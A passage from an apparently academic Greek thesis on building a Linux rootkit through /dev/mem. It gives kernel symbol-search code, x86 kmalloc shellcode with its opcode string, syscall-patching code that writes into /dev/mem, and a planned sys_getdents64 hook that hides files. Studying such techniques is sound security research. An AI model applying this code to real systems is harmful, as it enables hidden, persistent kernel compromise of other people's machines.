Στο αποτέλεσμα της αναζήτησης (x) προσθέτουμε το kernelstart (0xc0000000 για την περίπτωση 32bit). Και συνεχίζουμε με μια δεύτερη αναζήτηση, αυτή τη φορά για την αντίστοιχη καταχώρηση στον πίνακα symtab (K 14). for (x = 0; x < 20 * 1024 * 1024; x++) if (*(unsigned long *) (mregion + x) == kstrtab) break; K 14. Αναζήτηση διεύθυνσης Το αποτέλεσμα είναι να βρούμε μία εγγραφή του symtab πολύ κοντά στην αρχή. Στην συνέχεια θα προσπαθήσουμε να τυπώσουμε αυτό που εμείς ελπίζουμε ότι είναι ο πίνακας συμβόλων (Κώδικας K 15). for(x,y=0; y < 3890; y++,x+=8) printf("function address: 0x%.08x string address: 0x%.08x\n", *(unsigned long *) (mregion + x - 4), *(unsigned long *) (mregion + x)); K 15. Εκτύπωση διεύθυνσης Το αποτέλεσμα αυτού του loop φαίνεται στο K 16. Το σύστημα στο οποίο εκτελέστηκε αναγράφεται στην πρώτη γραμμή. 63

Linux.. 2.6.24-custom #1 SMP Wed Apr 16 14:48:22 EEST 2008 i686 GNU/Linux function address: 0xc032d300 string address: 0xc031e9c8 function address: 0xc0399000 string address: 0xc031e9d2 function address: 0xc0399008 string address: 0xc031e9df function address: 0xc032e0c8 string address: 0xc031e9ed function address: 0xc03551a0 string address: 0xc031e9fd function address: 0xc039a000 string address: 0xc031ea20 function address: 0xc0390000 string address: 0xc031ea3a function address: 0xc0390008 string address: 0xc031ea50 [...] K 16. Output εκτέλεσης εντολής Στην συνέχεια, ψάχνοντας στο αρχείο /boot/system.map για τις παραπάνω διευθύνσεις βρίσκουμε αυτά που παρουσιάζονται στο K 17. bash-3.1$ grep 032d300 /boot/system.map-2.6.24-custom c032d300 D init_task bash-3.1$ grep c031e9c8 /boot/system.map-2.6.24-custom c031e9c8 r kstrtab_init_task bash-3.1$ grep c0399000 /boot/system.map-2.6.24-custom c0399000 B system_state bash-3.1$ grep c031e9d2 /boot/system.map-2.6.24-custom c031e9d2 r kstrtab_system_state bash-3.1$ grep c0399008 /boot/system.map-2.6.24-custom c0399008 B reset_devices bash-3.1$ grep c031e9df /boot/system.map-2.6.24-custom c031e9df r kstrtab_reset_devices K 17. Εγγραφές του /boot/system.map Αυτό που βρήκαμε το φορτώσαμε σε αντικείμενα της μορφής, 64

typedef struct { unsigned int unsigned int } Sym2Str; function; string; που είναι εγγραφές του πίνακα GOT, αναλυτική εξήγηση του οποίου ακολουθεί. Για να καταλάβουμε την χρησιμότητα αυτού του πίνακα θα πρέπει να κατανοήσουμε την έννοια του Position Independent Code (PIC). Ο κώδικας PIC μπορεί να φορτωθεί οπουδήποτε στην μνήμη και να δουλέψει όπως έχει. Αυτό είναι σημαντικό επειδή οι βιβλιοθήκες μπορεί να μην βρίσκονται πάντοντε την ίδια διεύθυνση, από την στιγμή που άλλες βιβλιοθήκες ενδέχεται να τοποθετηθούν πριν ή μετά από αυτές. Για την διατήρηση της ανεξαρτησίας θέσης κανείς δεν μπορεί να στηριχθεί στην διεύθυνσης βάσης κάποιου κώδικα, επειδή αυτήν μπορεί να αλλάξει. Έτσι προστίθεται ένα επίπεδο αναδρομολόγησης μεταξύ των κλήσεων. Για τα αρχεία ELF, αυτό γίνεται με την βοήθεια του Global Offset Table (GOT). Ο GOT είναι στην ουσία μία μεγάλη λίστα με δύο στήλες από τις οποίες η μία είναι ένα σύμβολο και η δεύτερη η πραγματική διεύθυνση (real address). Έτσι, αντί να φορτώνεται απ ευθείας το σύμβολο, φορτώνεται η τιμή του στον GOT, και έπειτα φορτώνεται αυτήν η τιμή προκειμένου να προσπελαστεί η πραγματική μέθοδος. 65

12.2 ELF σε συστήματα x64 Όπως έχουμε προαναφέρει, η αρχιτεκτονική x64 είναι non-segmented. Με αυτό τον τρόπο, οποιαδήποτε στιγμή μπορείς κανείς να ξέρει την σχετική διεύθυνση του GOT. Αν και η διεύθυνση της βάσης μπορεί να αλλάξει, η διαφορά μεταξύ του κώδικα και του σημείου που βρίσκεται ο GOT, δεν θα αλλάξει. Αυτό σημαίνει ότι αν πρέπει να φορτωθεί κάποια διεύθυνση από το GOT, ο πιο εύκολος τρόπος για να γίνει αυτό είναι να φορτωθεί μέσω ενός offset από την τρέχουσα διεύθυνση. Ο μεταγλωτιστής δεν ξέρει την ακριβή διεύθυνση μιας εντολής στη μνήμη, αλλά ξέρει το offset αυτής της τρέχουσας εντολής και μπορεί για παράδειγμα να φορτώσει την διεύθυνση (CURRENT_INSTRUCTION - OFFSET_TO_GOT_ENTRY) [19]. Η αρχιτεκτονική x86 δεν μπορεί να λειτουργήσει έτσι. Δεν υπάρχει τρόπος να φορτώσουμε ένα offset από την τρέχουσα εντολή. Ο μόνος τρόπος για να γίνει αυτό είναι αποθηκεύοντας έναν pointer ο οποίος δείχνει στον GOT μέσα σε έναν καταχωρητή (%ebp), και έπειτα να φορτωθεί το offset από αυτόν. Αυτό το γεγονός σπαταλάει έναν καταχωρητή, και για μία αρχιτεκτονική με λίγους καταχωρητές όπως η 386, αυτό μπορεί να γίνει πρόβλημα. Η AMD64 διορθώνει το πρόβλημα και επιτρέπει την αναφορά σε offset από την τρέχουσα τιμή του instruction pointer. Αυτό ελευθερώνει έναν καταχωρητή και αλλάζει το ABI (Application Binary Interface) αφαιρώντας την διάκριση μεταξύ απόλυτου PLT και PIC PLT. Το PLT (Procedure Linkage Table) είναι ένα ενισχυτικό χαρακτηριστικό που βοηθάει στο lazy binding. Ο PLT δείχνει σε μία σταθερή μέθοδο του dynamic 66

loader. Κατά την εκκίνηση εκτέλεσης ενός προγράμματος, οι εγγραφές του GOT δείχνουν σε αυτήν την μέθοδο. Όταν καλείται κάθε μέθοδος από αυτές του GOT, ο έλεγχος δεν μεταφέρεται κατ ευθείαν εκεί που θα έπρεπε, αλλά αντίθετα μεταφέρεται στην διεύθυνση αναζήτησης του dynamic loader και που δείχνει ο PLT. Από εκεί καλείται η ρουτίνα αναζήτησης του dynamic loader, οποίος και βρίσκει την πραγματική διεύθυνση. Ο dynamic loader αφού βρει την διεύθυνση της μεθόδου, έπειτα αλλάζει την εγγραφή του GOT ώστε να δείχνει στην πραγματική διεύθυνση. Έτσι την επόμενη φορά που φορτώνεται κάτι από τον GOT, η διεύθυνση που καλείται είναι της πραγματικής μεθόδου, χωρίς την καθυστέρηση της αναζήτησης μέσω του PLT. Όπως είναι φανερό ο λόγος που αυτήν η μέθοδος καλείται lazy binding είναι ακριβώς επειδή όλα αυτά γίνονται κατά την εκτέλεση και όχι κατά την δημιουργία του εκτελέσιμου αρχείου. Στην αρχιτεκτονική IA64, το να επιτραπεί το χαρακτηριστικό της σχετικής ως προς τον Instruction Pointer διεύθυνσης, δεν δημιουργεί διάκριση μεταξύ απόλυτων και PIC PLT. Επιστρέφοντας στο πρόγραμμά μας, θυμόμαστε πως έχουμε ήδη βρει εγγραφές του GOT οι οποίες περιέχουν τις πραγματικές διευθύνσεις των μεθόδων του πυρήνα. Εκτός από το προφανές πλεονέκτημα της αλλαγής των διευθύνσεων που έχουμε βρει, πρέπει επίσης να σκεφτούμε πού θα δείχνουν οι καινούργιες διευθύνσεις τις οποίες θα τοποθετήσουμε εμείς. Πριν χρησιμοποιήσουμε τις καινούργιες πληροφορίες για να συνεχίσουμε την εργασία μας, θα πρέπει να σκεφτούμε τι θα τοποθετήσουμε στην περιοχή που δείχνει η διεύθυνση που θα βρούμε. Φυσικά θα πρέπει να περιέχει κώδικα. Τι κώδικα όμως και σε τι μορφή θα αναλύσουμε στην αμέσως επόμενη ενότητα. 67

13 Shellcode για αρχιτεκτονική x86 Με τον όρο shellcode εννοούμε μικρά κoμμάτια κώδικα που χρησιμοποιούνται για το άνοιγμα ενός shell σε ένα μηχάνημα, συνήθως χωρίς την γνώση της ύπαρξής του από τον ιδιοκτήτη του. Στην ουσία είναι μεταγλωτισμένα κομμάτια κώδικα σε γλώσσα μηχανής τα οποία φορτώνονται στην μνήμη και τρέχουν με νόμιμους ή όχι τρόπους [20]. Στην περίπτωση του προγράμματος που θα εξετάσουμε θα χρειαστούμε όπως θα φανεί κομμάτια shellcode για την εκτέλεση των λειτουργιών μας. Ο πιο εύκολος τρόπος δημιουργίας τους είναι μεταγλωτίζοντας ένα πρόγραμμα σε assembly και στη συνέχεια με την βοήθεια εργαλείων όπως objdump. Στην συγγραφή αυτών των προγραμμάτων σημαντικό ρόλο παίζουν οι κλήσεις συστήματος. Υπάρχουν δύο τρόποι να εκτελεστεί μία κλήση συστήματος. Είτε έμμεσα χρησιμοποιώντας τις μεθόδους της βιβλιοθήκης C, είτε άμεσα τοποθετώντας τα δεδομένα στους κατάλληλους καταχωρητές και μετά κάνοντας την κλήση συστήματος. Το πρώτο πρόγραμμα που θα χρειαστούμε σε μορφή shellcode θα είναι το interface μας για την κλήση της μεθόδου kmalloc() (K 18). 68

bash-3.1$ cat kmalloc.asm Section.text global _start _start: sub esp,0x8 mov eax,4096 mov edx,0xd0 mov [esp],eax mov [esp+4],edx mov ecx,0xffffffff call ecx add esp,0x8 ret ;εδώ θα μπει η διεύθυνση της kmalloc K 18. Κλήση της kmalloc() Αρχικά κάνουμε χώρο στην στοίβα για 2 στοιχεία 32-bit. Αυτά θα είναι οι παράμετροι της μεθόδου που θα καλέσουμε. Έπειτα τα μεταφέρουμε στους καταχωρητές ως εξής: Το μέγεθος της μνήμης που θέλουμε να δεσμεύσουμε (4096) στον eax. Μια ειδική τιμή στον edx (0xd0), η οποία αντιστοιχεί στο GFP_KERNEL. Περνώντας την παράμετρο αυτήν στην μέθοδο kmalloc, ο πυρήνας θα επιμείνει στο να βρει μνήμη, η διεργασία μάλιστα ενδεχομένως να πέσει σε κατάσταση sleep μέχρι την στιγμή που θα γίνει αυτό. Μια άλλη επιλογή είναι η GFP_ATOMIC. Με αυτήν ο πυρήνας θα ψάξει για χώρο σε μία λίστα από άδειες περιοχές μνήμης κρατημένες από τον πυρήνα για τις περιπτώσεις έκτακτης ανάγκης και εάν αποτύχει επιστρέφει με ένα κωδικό λάθους χωρίς να προσπαθήσει περεταίρω. Αφού μεταφέραμε τις παραμέτρους στους καταχωρητές έπειτα τους τοποθετούμε και στην στοίβα, και τέλος καλούμε την μέθοδο kmalloc(). Προς το 69

παρόν, η διεύθυνση μας είναι άγνωστη, όμως αυτό δε μας απασχολεί. Το κομμάτι αυτό κώδικα θα μεταγλωτιστεί από όπου και θα πάρουμε τα opcodes, τα οποία και θα τοποθετήσουμε σε ένα string στο πρόγραμμά μας. Από εκεί μπορoύμε να κάνουμε οποιεσδήποτε τροποποιήσεις θέλουμε στον κώδικα αυτό (K 19). bash-3.1$ nasm -f elf kmalloc.asm bash-3.1$ ld -o kmalloc kmalloc.o bash-3.1$ objdump -D kmalloc kmalloc: file format elf32-i386 Disassembly of section.text: 08048060 <_start>: 8048060: 81 ec 08 00 00 00 sub $0x8,%esp 8048066: b8 00 10 00 00 mov $0x1000,%eax 804806b: ba d0 00 00 00 mov $0xd0,%edx 8048070: 89 04 24 mov %eax,(%esp) 8048073: 89 54 24 04 mov %edx,0x4(%esp) 8048077: b9 ff ff ff ff mov $0xffffffff,%ecx 804807c: ff d1 call *%ecx 804807e: 81 c4 08 00 00 00 add $0x8,%esp 8048084: c3 ret K 19. Περιεχόμενα εκτελέσιμου αρχείου kmalloc() Η μεσαία στήλη αντιστοιχεί στην γλώσσα μηχανής. Τοποθετούμε κάθε byte ξεχωριστά σε έναν πίνακα από chars που μπορεί να έχει στο πρόγραμμά μας την παρακάτω μορφή, char kmalloc = "\x81\xec\x08\x00\x00\x00\xb8\x00\x10\x00\x00\xba\xd0\x00\x00 \x00\x89\x04\x24\x89\x54\x24\x04\xb9\xff\xff\xff\xff\xff\xd1 \x81\xc4\x08\x00\x00\x00\xc3" 70

Όπως φαίνεται παρακάτω, η διαδικασία που ακολουθείται για την δημιουργία τέτοιων κομματιών κώδικα είναι η ίδια που ακολουθεί το λειτουργικό σύστημα κατά την μεταγλώττιση και την δημιουργία του εκτελέσιμου. Παρακάμπτουμε το λειτουργικό σύστημα προκειμένου να κάνουμε μία απ ευθείας τοποθέτηση αυτού του κώδικα στη μνήμη. Οι δυνατότητες που προσφέρει αυτή η τεχνική είναι απεριόριστες. Μόνος περιορισμός είναι ότι δημιουργείται και λειτουργεί για μία μόνο αρχιτεκτονική. Η εκτέλεση του ίδιου shellcode σε διαφορετική, μη συμβατή αρχιτεκτονική από αυτή που δημιουργήθηκε, θα προκαλέσει απρόβλεπτα αποτελέσματα. 71

14 Σύνταξη assembly AT&T Παρακάτω θα δοθεί μία περιγραφή της σύνταξης assembly AT&T, όπως αυτήν υλοποιείται από τον GNU Assembler as. Η σύνταξη αυτή μας είναι απαραίτητη προκειμένου να κατανοήσουμε τον κώδικα assembly των μεταγλωτισμένων μας προγραμμάτων. 14.1 Βασική Μορφή Η δομή ενός προγράμματος με σύνταξη AT&T είναι κατά βάση παρόμοια με την σύνταξη οποιουδήποτε άλλου assembler. Η πιο σημαντική διαφορά πηγάζει από την σειρά των ορισμάτων. Για παράδειγμα, η γενική μορφή μιας βασικής μεταφοράς δεδομένων σε σύνταξη Intel είναι, mnemonic destination, source ενώ στην περίπτωση της AT&T, η γενική μορφή είναι, mnemonic source, destination Οι τύποι των ορισμάτων για τις εντολές του AT&T assembler στην αρχιτεκτονική x86 είναι οι εξής [21]: 72

14.1.1 Καταχωρητές Όλα τα ονόματα των καταχωρητών για την αρχιτεκτονκή IA-32 πρέπει να συνοδεύονται από το πρόθεμα '%' για παράδειγμα %al, %bx, %ds, %cr0 κλπ. mov %ax, %bx Το παραπάνω παράδειγμα είναι η εντολή που μετακινεί την τιμή του καταχωρητή των 16-bit AX στον αντίστοιχο 16-bit BX. 14.1.2 Πραγματικές Τιμές (Literal Values) Όλες οι πραγματικές τιμές πρέπει να προθεματίζονται με το σημάδι '$'. Για παράδειγμα, mov $100, %bx mov $A, %al Η πρώτη εντολή μετακινεί την τιμή 100 στον καταχωρητή AX και η δεύτερη μετακινεί την αριθμητική τιμή του συμβόλου ASCII A στον καταχωρητή AL. 14.1.3 Διευθυνσιοδότηση Μνήμης (Memory Addressing) Στην σύνταξη AT&T, οι αναφορές στη μνήμη γίνονται ως εξής, segment-override:signed-offset(base,index,scale) τμήματα του οποίου μπορούν να παραλειπούν σύμφωνα με την διεύθυνση που χρειαζόμαστε. 73

%es:100(%eax,%ebx,2) Η μετατόπιση (offset) και η κλίμακα (scale) δεν θα πρέπει να προθεματίζονται με το '$'. Παρακάτω δίνονται λίγα ακόμα παραδείγματα με τα αντίστοιχα ισοδύναμά τους σε σύνταξη ΝASM. GAS memory operand NASM memory operand ---------------------------------- ------------------------------------- 100 [100] %es:100 [es:100] (%eax) [eax] (%eax,%ebx) [eax+ebx] (%ecx,%ebx,2) [ecx+ebx*2] (,%ebx,2) [ebx*2] -10(%eax) [eax-10] %ds:-10(%ebp) [ds:ebp-10] Παραδείγματα εντολών: mov %ax, 100 mov %eax, -100(%eax) Η πρώτη εντολή μετακινεί την τιμή του καταχωρητή AX στο offset 100 από τον καταχωρητή data segment (εξ ορισμού), και η δεύτερη μεταφέρει την τιμή που υπάρχει στον eax, στην περιοχή μνήμης [eax-100]. 14.1.4 Μεγέθη τελεστών (Operand Sizes) Κάποιες φορές, κατά την μετακίνηση πραγματικών τιμών στη μνήμη, καταστάται απαραίτητο να προσδιορίσουμε το μέγεθος της μεταφοράς ή το μέγεθος του τελεστή. Για παράδειγμα η εντολή, mov $10, 100 74

προσδιορίζει μόνο ότι η τιμή 10 θα μετακινηθεί στην περιοχή μνήμης με μετατόπιση 100, αλλά δεν προσδιορίζει το μέγεθος της μεταφοράς. Στον NASM αυτό γίνεται με το να προστίθεται η λέξη κλειδί byte/word/dword/qword κλπ. Σε οποιονδήποτε των τελεστών. Στην σύνταξη AT&T, αυτό γίνεται προσθέτοντας το επίθεμα - b/w/l στην εντολή. Για παράδειγμα, movb $10, %es:(%eax) μετακινεί την τιμή byte 10 στην περιοχή μνήμης [ea:eax], ενώ το movl $10, %es:(%eax) μετακινεί την τιμή long (dword) 10 στο ίδιο μέρος. Μερικά ακόμη παραδείγματα, movl $100, %ebx pushl %eax popw %ax 14.1.5 Εντολές Μεταφοράς Ελέγχου (Control Transfer Instructions) Οι εντολές jmp, call, ret κλπ, μεταφέρουν τον έλεγχο από ένα μέρος του προγράμματος σε άλλο. Μπορούν να ταξινομηθούν ως εξής, μεταφορά ελέγχου στο ίδιο code segment (near) μεταφορά ελέγχου σε διαφορετικό code segment (far) Οι σχετικές μετατοπίσεις ορίζονται με την χρήση ονομάτων ή ετικετών όπως φαίνεται παρακάτω, label1: 75

.. jmp label1 Για την μεταφορά σε διαφορετικό code segment (far), χρησιμοποιείται το πρόθεμα l στην εντολή. GAS syntax NASM syntax ========== =========== jmp *100 jmp near [100] call *100 call near [100] jmp *%eax jmp near eax jmp *%ecx call near ecx jmp *(%eax) jmp near [eax] call *(%ebx) call near [ebx] ljmp *100 jmp far [100] lcall *100 call far [100] ljmp *(%eax) jmp far [eax] lcall *(%ebx) call far [ebx] ret retn lret retf lret $0x100 retf 0x100 K 20. Μεταφορά ελέγχου σε σύνταξη GAS και NASM Οι δείκτες μετατόπισης τμήματος (Segment-offset) προσδιορίζονται με την παρακάτω μορφή, jmp $segment, $offset Για παράδειγμα, jmp $0x10, $0x100000 76

15 Ανάπτυξη rootkit /dev/mem 15.1 Εύρεση διευθύνσεων μεθόδων πυρήνα Για να βρούμε τις διευθύνσεις που χρειαζόμαστε στην μνήμη ακολουθούμε μία παρόμοια διαδικασία με αυτήν που ακολουθήσαμε νωρίτερα για να δούμε την εικόνα του symbol table. Αυτή τη φορά διευκρινίζουμε το όνομα της μεθόδου που θέλουμε να εντοπίσουμε. Σε κάθε μέθοδο προσθέτουμε το πρόθεμα, το οποίο έχει τοποθετήσει ο linker προκειμένου να ξεχωρίζει τις global μεθόδους σε περίπτωση που τύχει να έχουν το ίδιο όνομα με τοπικές. Η διαδικασία αποτελείται από δύο αναζητήσεις. Στην πρώτη, βρίσκουμε το string στο τμήμα.kstrtab. Στην δεύτερη, χρησιμοποιούμε την διεύθυνση του string, μεταφρασμένη σε virtual address, προσθέτοντας το KERNEL_START για να βούμε την διεύθυνση του κώδικα της αντίστοιχης μεθόδου. Στον κώδικα του πυρήνα η μετάφραση των διευθύνσεων γίνεται ως εξής, unsigned int va(unsigned int paddr) return paddr + KERNEL_START; Και αυτό επειδή όπως έχει αναφερθεί, οι διευθύνσεις του πυρήνα έχουν απευθείας χαρτογράφηση (direct mapping) στον virtual address space του προγράμματός μας. Ο δικός μας κώδικας για την αναζήτηση παρουσιάζεται στο K 21. 77

unsigned long x; for (x = 0; x < 20 * 1024 * 1024; x++) { if (memcmp((unsigned char *) (base + x), srch, size) == 0 ){ kstrtab = KERNELSTART + x + 1; break; } } for (x = 0; x < 20 * 1024 * 1024; x++) if (*(unsigned long *) (base + x) == kstrtab) kmalloc = *(unsigned long *) (base + x - ADDRLEN); K 21. Αναζήτηση μεθόδου στην μνήμη Όπου base είναι η διεύθυνση από την οποία ξεκινάμε να ψάχνουμε. Επιλέγουμε αυτή να είναι η διεύθυνση που έχει επιστρέψει η mmap όταν κάναμε map το αρχείο /dev/mem στο πρόγραμμά μας. Πρέπει να εδώ να σημειωθεί ότι για μεγάλες μνήμες συστήματος (μεγαλύτερες από 3G), μας είναι αδύνατο να κάνουμε map ολόκληρη την φυσική μας μνήμη σε συστήματα 32bit, χωρίς PAE. Αυτό όμως δε μας απασχολεί τόσο. Με την προϋπόθεση πως ο πυρήνας δεν έχει δεχτεί κάποιο relocation σε πολύ μεγαλύτερες περιοχές μνήμης, εμείς θα μπορέσουμε να βρούμε την εικόνα του στα πρώτα MB. Γενικά, ο πυρήνας μεταγλωτίζεται για μία συγκεκριμένη διεύθυνση και τρέχει από αυτήν, η οποία είναι στην φυσική θέση μνήμης 1MB για i386 και x86_64. Αργότερα, ο Eric W. Biederman εισήγαγε μία επιλογή config, CONFIG_PHYSICAL_START, η οποία επέτρεπε στον πυρήνα να μεταγλωτιστεί για διαφορετική διεύθυνση. Με αυτήν κάποιος μπορεί να μεταγλωτίσει τον πυρήνα για παράδειγμα στην φυσική διεύθυνση 16MB. Η συγγραφέας δεν γνωρίζει περιπτώσεις όπου ο πυρήνας θα μπορούσε να φορτωθεί σε μια περιοχή 'μη 78

προσβάσιμη' για το 32-bit πρόγραμμά μας. Ή και στην περίπτωση που αυτό συνέβαινε, θα μπορούσαμε να κάνουμε το πρόγραμμά μας πιο έξυπνο ώστε να χωρίζει την μνήμη σε τμήματα και να τα ψάχνει σειριακά ώσπου να βρει κάποιο χαρακτηριστικό (ας το πούμε signature) του πυρήνα σε ένα από αυτά. Επιστρέφοντας στο παραπάνω κομμάτι κώδικα, srch είναι το string μας. Σε αυτή την φάση χρειαζόμαστε την kmalloc. Ξέροντας ότι στον strtab τα string χωρίζονται μεταξύ τους με το null χαρακτήρα, επομένως είναι ασφαλές να θεωρήσουμε σαν string το \0 kmalloc, μη ξεχνώντας ότι στην C όλα τα string τελειώνουν με το 'αόρατο' \0. Με αυτό το κόλπο θα είμαστε περισσότερο σίγουροι ότι βρήκαμε το σύμβολο και όχι κάποιο άλλο σκουπίδι στη μνήμη. Το size είναι ο αριθμός των χαρακτήρων στο string (μαζί με τους κενούς χαρακτήρες). Στην δεύτερη αναζήτηση έχουμε στο μυαλό μας τον τρόπο που είναι τοποθετημένα τα στοιχεία στον symtab. Ανάλογα με την αρχιτεκτονική η διεύθυνση της μεθόδου θα βρεθεί 4 byte πριν από το αποτέλεσμα της πρώτης αναζήτησης για 32 bit ή 8 byte για 64 bit. Αυτό το μέγεθος ορίζεται στον παραπάνω κώδικα με το macro ADDRLEN. Δύο παραδείγματα αποτελεσμάτων και για τις δύο αρχιτεκτονικές 32 και 64bit παρουσιάζονται στο K 22. 79

32bit: idt_table; system_call; sys_call_table; kmalloc; 64 bit: idt_table; ia32_syscall; ia32_sys_call_table; kmalloc; 0xc08fc000 0xc0102a98 0xc07134c0 0xc0162d10 0xffffffff804c6000 0xffffffff8025adb8 0xffffffff803e7bb0 0xffffffff802b5b26 K 22. Αποτέλεσμα εύρεσης διευθύνσεων πινάκων και μεθόδων Μετά από επαλήθευση με την βοήθεια του αρχείου System.map προκύπτει ότι αντιστοιχούν στις σωστές διευθύνσεις. 15.2 Δέσμευση μνήμης Στην προηγούμενη ενότητα βρήκαμε την διεύθυνση της kmalloc() στην μνήμη. Τώρα είμαστε έτοιμοι να βάλουμε αυτή την διεύθυνση στο shellcode που φτιάξαμε νωρίτερα για την κλήση της kmalloc() του πυρήνα και να αντικαταστήσουμε τα πρώτα bytes μιας κλήσης συστήματος με αυτό το shellcode. Στη συνέχεια, θα κάνουμε αυτή την κλήση συστήματος η οποία θα καλέσει το shellcode μας και θα επιστρέψει χώρο στη μνήμη όπου και θα τοποθετήσουμε τις μεθόδους που θα ανταλλάξουμε. Προκειμένου να αποφύγουμε ένα πιθανό kernel panic βασικό είναι να κρατηθούν αντίγραφα όλων όσων αντικαθιστούμε, ώστε να είμαστε σε θέση να επιστρέψουμε την κλήση συστήματος στην αρχική της κατάσταση. 80

Το string που περιέχει τον κώδικα με την κλήση της kmalloc() πρέπει να προσαρμοστεί με την σωστή διεύθυνση. Έχουμε ορίσει έναν πίνακα χαρακτήρων char temp[] όπου και αντιγράφουμε τον κώδικα. Στη συνέχεια κάνουμε τις τροποποιήσεις μας σε αυτόν τον πίνακα, όπως φαίνεται παρακάτω στο K 23. temp[27] = (kmalloc & 0xff000000) >> 24; temp[26] = (kmalloc & 0x00ff0000) >> 16; temp[25] = (kmalloc & 0x0000ff00) >> 8; temp[24] = (kmalloc & 0x000000ff); K 23. Εισαγωγή του νέου κώδικα της kmalloc στον πίνακα temp Προχωράμε αντιγράφoντας τα πρώτα byte του handler της κλήσης συστήματος που θα αντικαταστήσουμε. Επιλέξαμε την sys_setdomainname, της οποίας την διεύθυνση βρήκαμε αντιγράφοντας την 121η εγγραφή του πίνακα syscall. Προχωρούμε στην εγγραφή, καθώς έχουμε ανοίξει το /dev/mem στο file descriptor fd. Εδώ παρατηρούμε πως γίνεται η αντίθετη διαδικασία. Η διεύθυνση του sys_setdomainname που ανακαλέσαμε είναι η virtual, ενώ εμείς θέλουμε την φυσική. Τέλος, με χρήση inline assembly, κάνουμε την 121η κλήση συστήματος τοποθετώντας στον eax την τιμή της και τοποθετώντας το αποτέλεσμα στην μεταβλητή space. Κάνοντας επαναλαμβανόμενες κλήσης όπως η τελευταία έχουμε διευθύνσεις από περιοχές των 4096 byte όπου μπορούμε να τοποθετήσουμε κώδικα. 81

setdomainname =*(unsigned long *) (base + (sys_call_table - KERNEL_START) + (4 * 121)); memcpy (&backup, (unsigned char *) (base + (setdomainname - KERNEL_START)),sizeof(SHELLCODE) 1); lseek (fd, (setdomainname - KERNEL_START), SEEK_SET); write (fd, temp, sizeof (SHELLCODE) 1); asm ("movl $0x79,%%eax;\n\t" "int $0x80;\n\t" "movl %%eax, %0\n\t" :"=r" (space)); K 24. Αντικατάσταση των πρώτων bytes της κλήσης συστήματος sys_setdomainname στο αρχείο /dev/mem Εκεί τοποθετούμε τα υπόλοιπα shellcode, προσαρμόζοντάς τα κατάλληλα, αλλάζοντας τα bytes μέσα στον κώδικα που δείχνουν στις πραγματικές μεθόδους του πυρήνα. Μπορούμε να καλέσουμε αυτές τις μεθόδους και να προσαρμόσουμε τα αποτελέσματα ώστε να μην εμφανίζουν αυτά που θέλουμε να κρύψουμε. Τέλος γράφοντας στο /dev/mem αντικαθιστούμε τους handler των κλήσεων συστήματος στις εγγραφές του syscall table με τις δικές μας μεθόδους. Παρακάτω θα γίνει εφαρμογή της κλήσης sys_getdents64. 15.3 Κρύβοντας αρχεία Hooking sys_getdents64 Αυτό που θα υλοποιήσουμε στην συνέχεια είναι μόνο μία απόδειξη ισχύος, 82

καθώς στόχος μας είναι να αποδείξουμε ότι η τεχνική είναι εφικτή μέχρι την παρούσα στιγμή (Ιούνιος 2008). Θα προσπαθήσουμε να κρύψουμε κάποια αρχεία τα οποία πληρούν κάποιες προϋποθέσεις. Αυτές μπορούν να είναι οποιεσδήποτε εμείς θελήσουμε, όπως για παράδειγμα το όνομά τους να έχει μια συγκεκριμένη κατάληξη, ή να ανήκουν σε κάποιον συγκεκριμένο χρήστη. Εμείς διαλέξαμε να κρύψουμε αρχεία που έχουν την κατάληξη.mkx. Η διαδικασία θα αναλυθεί αφού εξετάσουμε πρώτα τον αντίστοιχο κώδικα του πυρήνα. Μελετώντας την sys_getdents64 βλέπουμε πως είναι μία μέθοδος που μας δίνει μία λίστα με όλα τα αρχεία που βρίσκονται μέσα σε έναν κατάλογο. asmlinkage long sys_getdents64(unsigned int fd, struct linux_dirent64 user *dirent, unsigned int count){ struct file * file; struct linux_dirent64 user * lastdirent; struct getdents_callback64 buf; int error; error = -EFAULT; if (!access_ok(verify_write, dirent, count)) goto out; error = -EBADF; file = fget(fd); if (!file) goto out; buf.current_dir = dirent; buf.previous = NULL; buf.count = count; buf.error = 0; error = vfs_readdir(file, filldir64, &buf); if (error < 0) goto out_putf; error = buf.error; 83

lastdirent = buf.previous; if (lastdirent) { typeof(lastdirent->d_off) d_off = file->f_pos; error = -EFAULT; if ( put_user(d_off, &lastdirent->d_off)) goto out_putf; error = count - buf.count; } out_putf: fput(file); out: return error; } K 25. Πηγαίος κώδικας της μεθόδου sys_getdents64() του πυρήνα του Linux [22]. Στην γλώσσα C, όπως είναι γνωστό, το προσδιοριστικό struct ορίζει ένα είδος αντικειμένων. Δύο αντικείμενα που θα μας βοηθήσουν να καταλάβουμε τον παραπάνω κώδικα είναι τα linux_dirent64 user και getdents_callback64. dirent64 Είναι ένα αντικείμενο ενός φακέλου. Προκειμένου να αποφασίσουμε αν θέλουμε να το κρύψουμε, θα εξετάζουμε το στοιχείο του d_name για κάθε ένα τέτοιο αντικείμενο κάθε φορά που καλείται η getdents64. struct dirent64 { u64 d_ino; s64 d_off; unsigned short d_reclen; unsigned char d_type; char d_name[256]; }; K10. Το αντικείμενο dirent64 84

getdents_callback64 Αυτό το αντικείμενο έχει λειτουργία ανάλογη ενός κόμβου μίας λίστας. Κάθε current_dir συνδέεται με ένα προηγούμενο ίδιου τύπου. Στο κομμάτι κώδικα Κ1 βλέπουμε πως το όρισμα dirent ορίζεται ως το current_dir για το αντικείμενο buf, ενώ το lastdirent δείχνει στο προηγούμενό του. Αποτέλεσμα αυτού είναι μία λίστα με τις εγγραφές του αρχείου (φακέλου) να περνάνε σαν αποτέλεσμα στον χρήστη. Η λίστα έχει συμπληρωθεί από την μέθοδο vfs_readdir. struct getdents_callback64 { struct linux_dirent64 user * current_dir; struct linux_dirent64 user * previous; int count; int error; }; K11. Το αντικείμενο getdents_callback64 Το VFS (Virtual File System) στο ΛΣ Linux είναι με απλά λόγια ένα 'στρώμα' μεταξύ των λειτουργιών που θέλουμε εμείς να κάνουμε πάνω στα στοιχεία ενός συστήματος αρχείων και των κατώτερων επιπέδων επίτευξης αυτών των λειτoυργιών. Η δυνατότητα του Linux να επεξεργάζεται τα διαφορετικά αρχεία συστήματος (reiserfs, ext3, fat, ntfs) με μία διεπαφή είναι αποτέλεσμα του VFS. H ιδέα είναι η εξής: Υπάρχει ένα κοινό μοντέλο αρχείων ικανό να αντιπροσωπεύει όλα τα είδη συστήματος αρχείων. Μ'αυτό το μοντέλο το βασικό σύστημα αρχείων στο Linux τρέχει με την μικρότερη δυνατή καθυστέρηση, και κάθε άλλο σύστημα αρχείων μεταφράζει την φυσική του δομή σε αυτή του μοντέλου VFS. Σε αυτό το μοντέλο κάθε φάκελος θεωρείται 